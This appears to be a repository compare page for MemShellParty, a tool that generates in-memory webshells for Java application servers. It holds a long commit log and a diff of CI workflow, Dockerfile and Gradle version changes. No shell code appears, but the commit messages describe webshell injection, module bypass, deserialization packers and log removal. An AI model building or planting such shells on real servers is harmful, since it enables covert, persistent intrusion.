ReaJason 2b34b80e40 feat: tomcat agent support jdk6 2025-01-03 02:16:51 +08:00
ReaJason b694073f33 ci: update badge 2025-01-02 17:32:12 +00:00
ReaJason 2f2ef8a774 fix: boot jar dependencies copy error 2025-01-03 01:25:45 +08:00
ReaJason 86734f8485 ci: update badge 2025-01-02 16:50:43 +00:00
ReaJason 393693b89b fix: spring shell generate error 2025-01-03 00:43:03 +08:00
ReaJason 2da2e180cb feat: support tomcat agent shell (resolved #12) 2025-01-03 00:25:56 +08:00
ReaJason 8e741b6647 style(ui): unify font size 2024-12-31 12:07:56 +08:00
ReaJason 717c81571b fix: copyToClipboard button not work 2024-12-31 11:41:08 +08:00
ReaJason 2ec43d97dd ci: add unit test for boot 2024-12-31 01:21:21 +08:00
ReaJason c9a536d2fd fix: boot run failed 2024-12-30 23:20:16 +08:00
ReaJason 74a919c6ec docs: update 2024-12-28 01:11:23 +08:00
ReaJason e123c7485e docs: update README 2024-12-28 01:03:23 +08:00
ReaJason d6d10dead0 ci: update badge 2024-12-27 16:58:31 +00:00
ReaJason 696814fd2c refactor: simplify code 2024-12-28 00:52:28 +08:00
ReaJason 87147d738a feat: support apusic shell generate (#10) 2024-12-27 20:39:09 +08:00
ReaJason c205e69563 docs: update screenshot [skip ci] 2024-12-27 01:02:02 +08:00
ReaJason dddbc15dd8 docs: update README 2024-12-27 00:57:59 +08:00
ReaJason 77ae8c1559 docs: update README 2024-12-27 00:45:54 +08:00
ReaJason 3fe380ef8a ci: update badge 2024-12-26 15:52:46 +00:00
ReaJason a54c307bd5 feat: support tongweb shell generate (resolved #11) 2024-12-26 23:45:58 +08:00
ReaJason 3d14f0113e perf: support bes symbol name 2024-12-26 21:54:18 +08:00
ReaJason b1d449538d refactor: rename [skip ci] 2024-12-26 21:46:21 +08:00
ReaJason 4f1634a843 ci: update badge 2024-12-26 13:40:42 +00:00
ReaJason 8fe2b47805 fix: glassfish7 listener failed 2024-12-26 21:34:26 +08:00
ReaJason c30e99a92c docs: update README 2024-12-26 21:19:51 +08:00
ReaJason 5f4880e72a feat: support bes shell generate (#9) 2024-12-26 21:19:51 +08:00
ReaJason b7326a386b refactor: simplify code 2024-12-26 21:19:51 +08:00
ReaJason 6b9655bb6c docs: update issue templates [skip ci] 2024-12-26 01:12:03 +08:00
ReaJason f9b109d922 ci: update badge 2024-12-25 17:05:07 +00:00
ReaJason ee82fc102d feat: support spring webflux shell generate (resolved #6) 2024-12-26 00:59:24 +08:00
ReaJason cfa4bfdb1d ci: support manually run build ci [skip ci] 2024-12-24 22:55:02 +08:00
ReaJason 889d1d87c7 docs: update README 2024-12-24 22:50:10 +08:00
ReaJason bea468a311 feat: add copy button for className 2024-12-24 22:50:10 +08:00
ReaJason e31d8e751d chore(web): upgrade dependencies 2024-12-24 22:50:10 +08:00
ReaJason 92bda08567 ci: update badge 2024-12-24 13:32:37 +00:00
ReaJason d052177731 test: change vul war location 2024-12-24 21:26:39 +08:00
ReaJason 76dab18099 feat: support weblogic servlet (resolved #5) 2024-12-24 21:09:49 +08:00
ReaJason 6e729d0e35 docs: update README 2024-12-24 02:40:31 +08:00
ReaJason 328939db6a ci: update badge 2024-12-23 18:37:18 +00:00
ReaJason 32c5242c52 ci: add weblogic test 2024-12-24 02:30:14 +08:00
ReaJason c860bbfd87 feat: support inforsuite shell generate 2024-12-24 02:26:30 +08:00
ReaJason b32c9e701e feat: support weblogic filter listener (#5) 2024-12-24 02:09:39 +08:00
ReaJason 41c193074e refactor: rename class 2024-12-24 00:15:12 +08:00
ReaJason eaf6a81c85 fix: behinder response wrapper 2024-12-22 20:49:56 +08:00
ReaJason 22392829e5 docs: update README 2024-12-22 18:15:08 +08:00
ReaJason 65a7fd46e3 ci: update badge 2024-12-22 10:04:25 +00:00
ReaJason 7dd02f4431 fix: boot-ui not behinder select option 2024-12-22 17:58:49 +08:00
ReaJason 54f38e48d2 feat: boot-ui support behinder 2024-12-22 17:37:21 +08:00
ReaJason c232e64b13 ci: update badge 2024-12-22 08:58:01 +00:00
ReaJason 78e9401492 fix: behinder outputStream methodNotFound 2024-12-22 16:51:24 +08:00
ReaJason a5c8058cad test: vul file not found 2024-12-22 16:41:36 +08:00
ReaJason 3189ef8f70 feat: support springmvc shell generate 2024-12-22 16:29:02 +08:00
ReaJason c859655e3a refactor: change vul modules structure 2024-12-22 10:42:48 +08:00
ReaJason 1272ee46b4 docs: update README 2024-12-22 01:35:24 +08:00
ReaJason b83a72a3c8 docs: update README [skip ci] 2024-12-22 01:23:17 +08:00
ReaJason 89e4c796b4 chore: upgrade gradle 8.12 2024-12-22 01:23:03 +08:00
ReaJason ff3c1f2c49 ci: update badge 2024-12-21 16:20:43 +00:00
ReaJason 2dc406df34 test: skip jboss4 behinder test (it does'n work) 2024-12-22 00:15:27 +08:00
ReaJason 6c23a15034 feat: support behinder shell generate 2024-12-22 00:05:01 +08:00
ReaJason 6b81791ff5 ci: update badge 2024-12-21 12:59:02 +00:00
ReaJason 6ba96f5e5a test: speedup glassfish4 container 2024-12-21 20:53:21 +08:00
ReaJason 21df9f8273 feat: support websphere shell generate (#2) 2024-12-21 19:54:31 +08:00
ReaJason 4219f1ba9d ci: update badge 2024-12-21 07:20:57 +00:00
ReaJason 0d69049506 feat: support resin servlet (#2) 2024-12-21 14:51:12 +08:00
ReaJason 385e1e0102 ci: update badge 2024-12-21 06:19:16 +00:00
ReaJason 12fde31663 feat: support undertow servlet (#2) 2024-12-21 14:13:49 +08:00
ReaJason 9f1f4b76aa ci: update badge 2024-12-20 17:30:55 +00:00
ReaJason 4d1291f209 test: glassfish4 use jdk8 2024-12-21 01:25:58 +08:00
ReaJason 43653b2a1b ci: glassfish 3 and 4 not stable 2024-12-21 00:43:13 +08:00
ReaJason 514f13f515 feat: support jetty servlet (#2) 2024-12-21 00:42:53 +08:00
ReaJason ff69716423 fix: jetty filter isInjected not work 2024-12-21 00:42:10 +08:00
ReaJason fc431b9ace ci: build workflow should behind test 2024-12-20 23:39:48 +08:00
ReaJason 944e72f8c5 test: jboss7+ not deserialize failed 2024-12-20 23:39:29 +08:00
ReaJason 7be31dc481 test: unit test symbol not found 2024-12-20 23:31:36 +08:00
ReaJason dfc714862e feat: support tomcat websocket shell 2024-12-20 23:28:30 +08:00
ReaJason c7c4b8be84 refactor: unify code style 2024-12-20 23:26:13 +08:00
ReaJason 75019e9847 docs: update README 2024-12-20 02:34:05 +08:00
ReaJason c6f13dde5e ci: bun run failed 2024-12-20 02:33:37 +08:00
ReaJason fcbec8db19 ci: boot build failed 2024-12-20 01:38:13 +08:00
ReaJason b9f307dd7b ci: update badge 2024-12-19 17:38:04 +00:00
ReaJason a895826bdb fix: file name error 2024-12-20 01:32:11 +08:00
ReaJason 527dad824e ci: build failed 2024-12-20 01:24:31 +08:00
ReaJason 534db31fa0 feat: support boot-ui 2024-12-20 01:15:12 +08:00
ReaJason 2b00c96a06 feat: support tomcat11-jre21 2024-12-20 01:09:34 +08:00
ReaJason 22e3b9ab24 docs: add TG group 2024-12-16 23:38:13 +08:00
ReaJason 901483c1db docs: add CONTRIBUTE.md [skip ci] 2024-12-15 20:14:06 +08:00
ReaJason c9351dcd68 ci: run all integration-test as posible 2024-12-15 20:13:10 +08:00
ReaJasonandReaJason 845fbd5529 feat: add tomcat servlet shell (#2) (#3)
* feat: support tomcat servlet shell

* test: glassfish 3 and 4 not work

* ci: update badge

---------

Co-authored-by: ReaJason <[email protected]>
2024-12-15 16:02:22 +08:00
ReaJason fe2192396a ci: cancel if new push 2024-12-15 09:53:20 +08:00
ReaJason 63c0d89462 refactor: code format 2024-12-15 09:52:09 +08:00
ReaJason 2436c707db Update issue templates [skip ci] 2024-12-15 01:26:30 +08:00
ReaJason c49d3e1909 ci: update badge 2024-12-14 17:17:50 +00:00
ReaJason 7f9276364a test: glassfish 3 and 4 not work 2024-12-15 01:12:20 +08:00
ReaJason 57feb7809c feat: support payara shell generate 2024-12-15 01:03:00 +08:00
ReaJason 6e330bb9c1 ci: update badge 2024-12-14 13:53:00 +00:00
ReaJason 8fcca5b70e test: glassfish3 not started 2024-12-14 21:47:22 +08:00
ReaJason f3b3ca7b2e test: glassfish4 not started 2024-12-14 21:41:17 +08:00
ReaJason 5ec6f6c3cc fix: jboss6 scan overflow with spring 2024-12-14 21:32:57 +08:00
ReaJason 699169d277 fix: tomcat6 jsp LinkageError 2024-12-14 20:40:18 +08:00
ReaJason 6197d66ee8 ci: add resin test 2024-12-14 20:05:21 +08:00
ReaJason 7efbff4a45 fix: unit test error 2024-12-14 20:04:49 +08:00
ReaJason 37e336e088 fix: compile error 2024-12-14 19:54:39 +08:00
ReaJason 65fb0a05df fix: jetty11 jsp not work 2024-12-14 19:52:15 +08:00
ReaJason 6bdc47a7d5 refactor: deserialize 2024-12-14 19:34:06 +08:00
ReaJason 9ed876297a feat: support resin shell generate 2024-12-14 19:33:19 +08:00
ReaJason 74cb677e98 feat: support ssti and expression packer 2024-12-14 19:28:13 +08:00
ReaJason 13ddea499a fix: jsp execute fail in module system 2024-12-14 16:56:53 +08:00
ReaJason 82fddf702f fix: byPassModule not work 2024-12-14 16:26:03 +08:00
ReaJason 8530797a54 ci: update badge 2024-12-12 18:46:39 +00:00
ReaJason 6d12cbba36 fix: glassfish container not run in expected 2024-12-13 02:41:41 +08:00
ReaJason 992aa8a29d fix: glassfish upload error 2024-12-13 02:30:27 +08:00
ReaJason 4ddf8dd3d1 fix: unsupported server 2024-12-13 02:15:44 +08:00
ReaJason 6d7a665ba7 test: rm jetty jsp upload test 2024-12-13 02:10:49 +08:00
ReaJason 15e3af9374 ci: add glassfish test 2024-12-13 01:42:42 +08:00
ReaJason c39075eaae feat: support glassfish shell generate 2024-12-13 01:39:24 +08:00
ReaJason 6c523c55c7 feat: logRemover support Logger.info and warning 2024-12-13 00:37:27 +08:00
ReaJason bb76313410 ci: update badge 2024-12-10 18:03:38 +00:00
ReaJason 1f4a19dd83 fix: server not supported 2024-12-11 01:56:30 +08:00
ReaJason 385de37d56 ci: integration print log 2024-12-11 01:55:14 +08:00
ReaJason 7ddf2c09c4 ci: add wildfly 2024-12-11 01:47:32 +08:00
ReaJason 40c036ab92 style: code format 2024-12-11 01:35:41 +08:00
ReaJason 59b0aeaaca feat: support jboss and undertow 2024-12-11 01:31:20 +08:00
ReaJason 3756197bab ci: update badge 2024-12-10 13:11:57 +00:00
ReaJason 6020e5eaa9 feat: support deserialize packer (but only CB4) 2024-12-10 21:07:41 +08:00
ReaJason 9360408f6d fix: jetty 10 and 11 filter add first failed 2024-12-10 21:05:52 +08:00
ReaJason 0cd08f2a6c ci: dependency error 2024-12-09 23:32:07 +08:00
ReaJason 1ff8fa6128 ci: jacoco execution data not found 2024-12-09 23:30:34 +08:00
ReaJason c07fcc28a4 ci: coverage run failed 2024-12-09 23:06:03 +08:00
ReaJason cfc4c0531f ci: separate unit test and integration test 2024-12-09 22:33:34 +08:00
ReaJason 13cbbdb54f fix: jetty ScriptEngine not work 2024-12-09 21:06:23 +08:00
ReaJason 4feeca1ca8 test: add jetty ScriptEngine test 2024-12-09 21:05:50 +08:00
ReaJason 64f8724903 ci: update badge 2024-12-09 12:32:26 +00:00
ReaJason 4f4384838a test: compile error 2024-12-09 20:29:17 +08:00
ReaJason c72ae586a2 feat: support debug mode 2024-12-09 20:24:58 +08:00
ReaJason d7a40f74b8 fix: tomcat5 valve not work 2024-12-09 01:27:08 +08:00
ReaJason 0e250cac90 ci: update badge 2024-12-08 15:29:18 +00:00
ReaJason 209fc378d0 test: add tomcat5 container 2024-12-08 23:26:32 +08:00
ReaJason d541041f51 ci: update badge 2024-12-08 09:03:10 +00:00
ReaJason 6617d9cc16 ci: add paths-ignore 2024-12-08 17:00:03 +08:00
ReaJason ec42992c8a feat: add boot and webui 2024-12-08 16:59:18 +08:00
ReaJason 3004221fad refactor: extract super class 2024-12-08 16:51:50 +08:00
ReaJason 98b955673b ci: update badge 2024-12-07 12:20:50 +00:00
ReaJason a7cee2ea21 feat: support jetty shell generate 2024-12-07 20:17:40 +08:00
ReaJason b6e6b69339 refactor: simplify ByPassJdkModuleInterceptor 2024-12-07 11:06:45 +08:00
ReaJason cc05dc3934 ci: update badge 2024-12-06 18:17:48 +00:00
ReaJason 61bf9d25bb test: container not auto start 2024-12-07 02:15:15 +08:00
ReaJason ffbe1e454b refactor: separate generate config 2024-12-07 01:49:12 +08:00
ReaJason 85576ab6c7 build: upgrade project JDK 8 to 17 2024-12-05 22:42:02 +08:00
ReaJason 365f4efea0 docs: unify badge style 2024-12-05 22:40:49 +08:00
ReaJason a0d6cbee82 test: use method parameters 2024-12-05 22:40:01 +08:00
ReaJason 421f011974 ci: update badge 2024-12-04 15:21:08 +00:00
ReaJason 0035d1f6a5 fix: godzilla listener check error 2024-12-04 23:19:00 +08:00
ReaJason ba9a7878e0 ci: update badge 2024-12-04 14:43:21 +00:00
ReaJason 75ea80f153 refactor: simplify code 2024-12-04 22:40:58 +08:00
ReaJason 9c5aabb8f0 test: speedup integration test use sharedContainer
refer: https://java.testcontainers.org/test_framework_integration/junit_5/#shared-containers
2024-12-04 21:53:52 +08:00
ReaJason 7887a48fa8 test: fix totalCount calc error 2024-12-04 21:52:07 +08:00
ReaJason c07e1fcf19 fix: same classname inject just once 2024-12-04 21:51:21 +08:00
ReaJason d2036b87f4 ci: update badge 2024-12-03 19:18:05 +00:00
ReaJason b09b671831 test: add more docker compose file 2024-12-04 03:14:08 +08:00
ReaJason d3d3c0186d fix: tomcat9+ filter not work 2024-12-04 03:14:08 +08:00
ReaJason 706e2b06d4 fix: tomcat6 and 7 listener not work 2024-12-04 03:14:08 +08:00
ReaJason e0345767d6 feat: support JDK8 ScriptEngine packer 2024-12-04 03:14:08 +08:00
ReaJason 7d697fe2ec test: fix case name error 2024-12-04 03:14:08 +08:00
ReaJason 14c62376d7 ci: update badge 2024-12-03 13:31:04 +00:00
ReaJason 065c111ad7 ci: fix badge not generate 2024-12-03 21:27:49 +08:00
ReaJason f3da4292bb test: enhance integration report 2024-12-03 21:19:21 +08:00
ReaJason ed51f01b29 docs: update README 2024-12-02 02:09:22 +08:00
ReaJason 81007167ff test: first show failed cases 2024-12-02 02:08:57 +08:00
ReaJason 288766eb9c ci: update badge 2024-12-01 17:14:27 +00:00
ReaJason b8d4c91a1f Merge branch 'master' of github.com:ReaJason/MemShellParty 2024-12-02 01:11:07 +08:00
ReaJason 46dff40932 test: support integration test summary 2024-12-02 01:10:51 +08:00
ReaJason f7bf419f31 fix: command shell use paramName 2024-12-02 01:08:22 +08:00
ReaJason 9fe244e9ca test: add tomcat6-jdk6 integration-test 2024-11-29 18:05:28 +08:00
ReaJason b0ef130e87 docs: add javadoc 2024-11-29 18:04:57 +08:00
ReaJason 714fa99c90 docs: add ByPassJdkModule extend java doc 2024-11-29 02:46:50 +08:00
ReaJason 1a12d426dc ci: update badge 2024-11-28 18:13:54 +00:00
ReaJason 00c36ab90d ci: merge jacoco failed 2024-11-29 02:11:22 +08:00
ReaJason 0e7aa6b0b0 test: fix error 2024-11-29 02:06:24 +08:00
ReaJason 96a00c9dcc fix: typo 2024-11-29 02:02:26 +08:00
ReaJason 886d808f31 feat: support bypassJdkModule and Jakarta 2024-11-29 02:02:04 +08:00
ReaJason b6c881c5cb ci: update badge 2024-11-26 17:18:23 +00:00
ReaJason 400a7bfab7 fix: godzilla manager test failed 2024-11-27 01:17:08 +08:00
ReaJason b78984b858 ci: update badge 2024-11-26 16:42:39 +00:00
ReaJason 21afe14ccd test: rm test.jsp req 2024-11-27 00:41:31 +08:00
ReaJason 7fa4dee03b feat: add godzilla manager and integration container test 2024-11-27 00:36:38 +08:00
ReaJason e718af7440 feat: support tomcat cmd shell and jsp packer 2024-11-27 00:35:35 +08:00
ReaJason a530d77351 test: rm integration 2024-11-27 00:32:21 +08:00
ReaJason 671aef548b docs: add coverage badge 2024-11-24 13:45:55 +08:00
ReaJason 9661eefc3e ci: update badge 2024-11-24 05:43:55 +00:00
ReaJason d620212eb0 ci: generate json file 2024-11-24 13:43:12 +08:00
ReaJason 7d3eb11be6 ci: update badge 2024-11-24 05:37:57 +00:00
ReaJason f0905d83a8 ci: upload badge info 2024-11-24 13:37:07 +08:00
ReaJason 65c9d5847d test: add jacoco 2024-11-24 13:32:05 +08:00
ReaJason bbeff2726d feat: add tomcat listener and valve 2024-11-24 13:31:38 +08:00
ReaJason a20f760cd5 test: io exception in ci 2024-11-24 05:00:48 +08:00
ReaJason 56d5410279 fix: compile error 2024-11-24 04:57:15 +08:00
ReaJason 0cc70940c3 ci: rename 2024-11-24 04:52:26 +08:00
ReaJason d148261a37 feat: add godzilla filter generate 2024-11-24 04:48:15 +08:00
ReaJason 2660076eda ci: add ci test 2024-11-24 04:46:38 +08:00
ReaJason 05b85670d5 MIT license 2024-11-24 04:45:10 +08:00
ReaJason b904fe0851 docs: update README 2024-09-01 15:28:42 +08:00
ReaJason c904f313e2 docs: update README 2024-09-01 15:22:01 +08:00
ReaJason 7a453faeb0 Initial commit 2024-09-01 13:17:19 +08:00
246 changed files with 13121 additions and 4656 deletions
+12 -12
View File
@@ -17,16 +17,16 @@ jobs:
os: [ubuntu-latest, windows-latest] os: [ubuntu-latest, windows-latest]
runs-on: ${{ matrix.os }} runs-on: ${{ matrix.os }}
steps: steps:
- uses: actions/checkout@v6 - uses: actions/checkout@v4
- name: Setup Java - name: Setup Java
uses: actions/setup-java@v5 uses: actions/setup-java@v4
with: with:
distribution: 'temurin' distribution: 'temurin'
java-version: 17 java-version: 17
- name: Setup Gradle - name: Setup Gradle
uses: gradle/actions/setup-gradle@v6 uses: gradle/actions/setup-gradle@v4
- name: Setup Node - name: Setup Node
uses: actions/setup-node@v6 uses: actions/setup-node@v6
@@ -62,28 +62,28 @@ jobs:
needs: [ build-jar ] needs: [ build-jar ]
runs-on: ubuntu-latest runs-on: ubuntu-latest
steps: steps:
- uses: actions/checkout@v6 - uses: actions/checkout@v4
- name: Download Boot Jar - name: Download Boot Jar
uses: actions/download-artifact@v8 uses: actions/download-artifact@v4
with: with:
name: boot name: boot
path: boot/build/libs path: boot/build/libs
- name: Login to Docker Hub - name: Login to Docker Hub
uses: docker/login-action@v4 uses: docker/login-action@v3
with: with:
registry: docker.io registry: docker.io
username: ${{ vars.DOCKERHUB_USERNAME }} username: ${{ vars.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }} password: ${{ secrets.DOCKERHUB_TOKEN }}
- name: Set up QEMU - name: Set up QEMU
uses: docker/setup-qemu-action@v4 uses: docker/setup-qemu-action@v3
- name: Set up Docker Buildx - name: Set up Docker Buildx
uses: docker/setup-buildx-action@v4 uses: docker/setup-buildx-action@v3
- name: Build and push - name: Build and push
uses: docker/build-push-action@v7 uses: docker/build-push-action@v6
with: with:
context: boot context: boot
platforms: linux/amd64,linux/arm64 platforms: linux/amd64,linux/arm64
@@ -95,15 +95,15 @@ jobs:
needs: [ build-jar ] needs: [ build-jar ]
runs-on: ubuntu-latest runs-on: ubuntu-latest
steps: steps:
- uses: actions/checkout@v6 - uses: actions/checkout@v4
- name: Setup Java - name: Setup Java
uses: actions/setup-java@v5 uses: actions/setup-java@v4
with: with:
distribution: 'temurin' distribution: 'temurin'
java-version: 17 java-version: 17
- name: Setup Gradle - name: Setup Gradle
uses: gradle/actions/setup-gradle@v6 uses: gradle/actions/setup-gradle@v4
- name: Publish with Gradle - name: Publish with Gradle
env: env:
+1 -1
View File
@@ -22,7 +22,7 @@ jobs:
runs-on: ubuntu-latest runs-on: ubuntu-latest
steps: steps:
- name: Checkout code - name: Checkout code
uses: actions/checkout@v6 uses: actions/checkout@v4
- name: Build Docker image - name: Build Docker image
run: | run: |
docker build --build-arg ROUTE_ROOT_PATH=/memshell-party --build-arg CONTEXT_PATH=/memshell-party -t app . docker build --build-arg ROUTE_ROOT_PATH=/memshell-party --build-arg CONTEXT_PATH=/memshell-party -t app .
+5 -5
View File
@@ -15,21 +15,21 @@ jobs:
name: Docker Push name: Docker Push
runs-on: ubuntu-latest runs-on: ubuntu-latest
steps: steps:
- uses: actions/checkout@v6 - uses: actions/checkout@v4
- name: Login to Docker Hub - name: Login to Docker Hub
uses: docker/login-action@v4 uses: docker/login-action@v3
with: with:
registry: docker.io registry: docker.io
username: ${{ vars.DOCKERHUB_USERNAME }} username: ${{ vars.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }} password: ${{ secrets.DOCKERHUB_TOKEN }}
- name: Set up QEMU - name: Set up QEMU
uses: docker/setup-qemu-action@v4 uses: docker/setup-qemu-action@v3
- name: Set up Docker Buildx - name: Set up Docker Buildx
uses: docker/setup-buildx-action@v4 uses: docker/setup-buildx-action@v3
- name: Build and push RedQueen - name: Build and push RedQueen
uses: docker/build-push-action@v7 uses: docker/build-push-action@v6
with: with:
context: . context: .
platforms: linux/amd64,linux/arm64 platforms: linux/amd64,linux/arm64
@@ -50,20 +50,20 @@ jobs:
depend_tasks: "" depend_tasks: ""
- middleware: "struct2" - middleware: "struct2"
depend_tasks: ":vul:vul-struct2:war" depend_tasks: ":vul:vul-struct2:war"
runs-on: ubuntu-22.04 runs-on: ubuntu-latest
name: ${{ matrix.cases.middleware }} name: ${{ matrix.cases.middleware }}
steps: steps:
- name: Checkout - name: Checkout
uses: actions/checkout@v6 uses: actions/checkout@v4
- name: Setup Java - name: Setup Java
uses: actions/setup-java@v5 uses: actions/setup-java@v4
with: with:
distribution: 'temurin' distribution: 'temurin'
java-version: 17 java-version: 17
- name: Setup Gradle - name: Setup Gradle
uses: gradle/actions/setup-gradle@v6 uses: gradle/actions/setup-gradle@v4
- name: Prepare for Integration Test - name: Prepare for Integration Test
run: ./gradlew ${{ matrix.cases.depend_tasks }} run: ./gradlew ${{ matrix.cases.depend_tasks }}
+5 -5
View File
@@ -44,20 +44,20 @@ jobs:
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar" depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
- middleware: "struct2" - middleware: "struct2"
depend_tasks: ":vul:vul-struct2:war" depend_tasks: ":vul:vul-struct2:war"
runs-on: ubuntu-22.04 runs-on: ubuntu-latest
name: ${{ matrix.cases.middleware }} name: ${{ matrix.cases.middleware }}
steps: steps:
- name: Checkout - name: Checkout
uses: actions/checkout@v6 uses: actions/checkout@v4
- name: Setup Java - name: Setup Java
uses: actions/setup-java@v5 uses: actions/setup-java@v4
with: with:
distribution: 'temurin' distribution: 'temurin'
java-version: 17 java-version: 17
- name: Setup Gradle - name: Setup Gradle
uses: gradle/actions/setup-gradle@v6 uses: gradle/actions/setup-gradle@v4
- name: Prepare for Integration Test - name: Prepare for Integration Test
run: ./gradlew ${{ matrix.cases.depend_tasks }} run: ./gradlew ${{ matrix.cases.depend_tasks }}
@@ -66,7 +66,7 @@ jobs:
run: ./gradlew :integration-test:test --tests '*.probe.${{ matrix.cases.middleware }}.*' --info run: ./gradlew :integration-test:test --tests '*.probe.${{ matrix.cases.middleware }}.*' --info
- name: Export Integration Test Summary - name: Export Integration Test Summary
uses: mikepenz/action-junit-report@v6 uses: mikepenz/action-junit-report@v5
if: success() || failure() if: success() || failure()
with: with:
report_paths: '**/build/test-results/test/TEST-*.xml' report_paths: '**/build/test-results/test/TEST-*.xml'
+15 -15
View File
@@ -14,7 +14,7 @@ jobs:
version-without-v: ${{ steps.get_version.outputs.version-without-v }} version-without-v: ${{ steps.get_version.outputs.version-without-v }}
changelog: ${{ steps.get_changelog.outputs.changelog }} changelog: ${{ steps.get_changelog.outputs.changelog }}
steps: steps:
- uses: actions/checkout@v6 - uses: actions/checkout@v4
- name: Get Version - name: Get Version
id: get_version id: get_version
@@ -36,16 +36,16 @@ jobs:
name: Build Jar name: Build Jar
runs-on: ubuntu-latest runs-on: ubuntu-latest
steps: steps:
- uses: actions/checkout@v6 - uses: actions/checkout@v4
- name: Setup Java - name: Setup Java
uses: actions/setup-java@v5 uses: actions/setup-java@v4
with: with:
distribution: 'temurin' distribution: 'temurin'
java-version: 17 java-version: 17
- name: Setup Gradle - name: Setup Gradle
uses: gradle/actions/setup-gradle@v6 uses: gradle/actions/setup-gradle@v4
- name: Setup Node - name: Setup Node
uses: actions/setup-node@v6 uses: actions/setup-node@v6
@@ -75,7 +75,7 @@ jobs:
needs: [ info, build-jar ] needs: [ info, build-jar ]
runs-on: ubuntu-latest runs-on: ubuntu-latest
steps: steps:
- uses: actions/checkout@v6 - uses: actions/checkout@v4
- name: Download Boot Jar - name: Download Boot Jar
uses: actions/download-artifact@v4 uses: actions/download-artifact@v4
@@ -84,26 +84,26 @@ jobs:
path: boot/build/libs path: boot/build/libs
- name: Login to GitHub Container Registry - name: Login to GitHub Container Registry
uses: docker/login-action@v4 uses: docker/login-action@v3
with: with:
registry: ghcr.io registry: ghcr.io
username: ${{ github.repository_owner }} username: ${{ github.repository_owner }}
password: ${{ secrets.GITHUB_TOKEN }} password: ${{ secrets.GITHUB_TOKEN }}
- name: Login to Docker Hub - name: Login to Docker Hub
uses: docker/login-action@v4 uses: docker/login-action@v3
with: with:
registry: docker.io registry: docker.io
username: ${{ vars.DOCKERHUB_USERNAME }} username: ${{ vars.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }} password: ${{ secrets.DOCKERHUB_TOKEN }}
- name: Set up QEMU - name: Set up QEMU
uses: docker/setup-qemu-action@v4 uses: docker/setup-qemu-action@v3
- name: Set up Docker Buildx - name: Set up Docker Buildx
uses: docker/setup-buildx-action@v4 uses: docker/setup-buildx-action@v3
- name: Build and push - name: Build and push
uses: docker/build-push-action@v7 uses: docker/build-push-action@v6
with: with:
context: boot context: boot
platforms: linux/amd64,linux/arm64 platforms: linux/amd64,linux/arm64
@@ -115,7 +115,7 @@ jobs:
ghcr.io/reajason/memshell-party:latest ghcr.io/reajason/memshell-party:latest
- name: Build and push RedQueen - name: Build and push RedQueen
uses: docker/build-push-action@v7 uses: docker/build-push-action@v6
with: with:
context: . context: .
platforms: linux/amd64,linux/arm64 platforms: linux/amd64,linux/arm64
@@ -130,15 +130,15 @@ jobs:
name: Deploy to Maven Central name: Deploy to Maven Central
runs-on: ubuntu-latest runs-on: ubuntu-latest
steps: steps:
- uses: actions/checkout@v6 - uses: actions/checkout@v4
- name: Setup Java - name: Setup Java
uses: actions/setup-java@v5 uses: actions/setup-java@v4
with: with:
distribution: 'temurin' distribution: 'temurin'
java-version: 17 java-version: 17
- name: Setup Gradle - name: Setup Gradle
uses: gradle/actions/setup-gradle@v6 uses: gradle/actions/setup-gradle@v4
- name: Publish with Gradle - name: Publish with Gradle
env: env:
@@ -156,7 +156,7 @@ jobs:
permissions: permissions:
contents: write contents: write
steps: steps:
- uses: actions/checkout@v6 - uses: actions/checkout@v4
- name: Download Boot Jar - name: Download Boot Jar
uses: actions/download-artifact@v4 uses: actions/download-artifact@v4
@@ -19,19 +19,19 @@ concurrency:
jobs: jobs:
integration-test: integration-test:
runs-on: ubuntu-22.04 runs-on: ubuntu-latest
steps: steps:
- name: Checkout - name: Checkout
uses: actions/checkout@v6 uses: actions/checkout@v4
- name: Setup Java - name: Setup Java
uses: actions/setup-java@v5 uses: actions/setup-java@v4
with: with:
distribution: 'temurin' distribution: 'temurin'
java-version: 17 java-version: 17
- name: Setup Gradle - name: Setup Gradle
uses: gradle/actions/setup-gradle@v6 uses: gradle/actions/setup-gradle@v4
- name: Prepare for Integration Test - name: Prepare for Integration Test
if: ${{ inputs.depend_tasks != '' }} if: ${{ inputs.depend_tasks != '' }}
+3 -3
View File
@@ -17,16 +17,16 @@ jobs:
runs-on: ubuntu-latest runs-on: ubuntu-latest
steps: steps:
- name: Checkout - name: Checkout
uses: actions/checkout@v6 uses: actions/checkout@v4
- name: Setup Java - name: Setup Java
uses: actions/setup-java@v5 uses: actions/setup-java@v4
with: with:
distribution: 'temurin' distribution: 'temurin'
java-version: 17 java-version: 17
- name: Setup Gradle - name: Setup Gradle
uses: gradle/actions/setup-gradle@v6 uses: gradle/actions/setup-gradle@v4
- name: Generator Unit Test with Gradle - name: Generator Unit Test with Gradle
run: ./gradlew :generator:test run: ./gradlew :generator:test
+1 -1
View File
@@ -6,7 +6,7 @@ RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \
rm -rf vul integration-test tools rm -rf vul integration-test tools
# https://hub.docker.com/r/oven/bun # https://hub.docker.com/r/oven/bun
FROM --platform=$BUILDPLATFORM oven/bun:1.3.11 AS frontend FROM --platform=$BUILDPLATFORM oven/bun:1.3.6 AS frontend
ARG ROUTE_ROOT_PATH="/" ARG ROUTE_ROOT_PATH="/"
ARG CONTEXT_PATH="" ARG CONTEXT_PATH=""
+1 -7
View File
@@ -9,16 +9,10 @@ idea {
} }
} }
version = "2.7.0" version = "2.5.0"
tasks.register("publishAllToMavenCentral") { tasks.register("publishAllToMavenCentral") {
dependsOn(":memshell-party-common:publishToMavenCentral") dependsOn(":memshell-party-common:publishToMavenCentral")
dependsOn(":packer:publishToMavenCentral") dependsOn(":packer:publishToMavenCentral")
dependsOn(":generator:publishToMavenCentral") dependsOn(":generator:publishToMavenCentral")
}
tasks.register("publishAllToMavenLocal") {
dependsOn(":memshell-party-common:publishToMavenLocal")
dependsOn(":packer:publishToMavenLocal")
dependsOn(":generator:publishToMavenLocal")
} }
-3
View File
